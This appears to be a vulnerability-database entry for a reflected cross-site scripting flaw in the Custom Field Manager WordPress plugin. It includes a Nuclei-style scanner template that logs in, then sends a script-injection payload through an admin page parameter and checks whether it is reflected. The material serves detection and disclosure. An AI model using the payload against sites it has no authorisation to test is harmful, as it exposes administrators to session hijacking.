CVE-2024-12873: Custom Field Manager WordPress - Cross-Site Scripting

2026-02-24 Custom Field Manager WordPress PoC Public

Description

Custom Field Manager WordPress plugin through 1.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.

PoC

id: CVE-2024-12873

info:
  name: Custom Field Manager WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Custom Field Manager WordPress plugin through 1.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
  impact: |
    Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.
  remediation: |
    Update to the latest version with proper sanitization and escaping.
  reference:
    - https://wpscan.com/vulnerability/3e82d45f-7b8f-424e-a8d7-be64f5acf65e/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12873
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-12873
    cwe-id: CWE-79
    epss-score: 0.00583
    epss-percentile: 0.46281
    cpe: cpe:2.3:a:f1logic:custom_field_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: f1logic
    product: custom_field_manager
  tags: cve,cve2024,f1logic,custom-field-manager,authenticated,wordpress,wp,wp-plugin,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=custom-field-manager-customfields&taxonomy=testxss%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - contains_all(body, "</script><script>alert(document.domain)</script><script>","custom-field-manager")
        condition: and
# digest: 490a0046304402204696a29daed0c1d4fbe83465936b87e579ed873a19115b363956a54f5fa900a702205e5d9ff0338b2a188e7e3fe87f5776a314e5effa30d0004a80de4872326d974a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities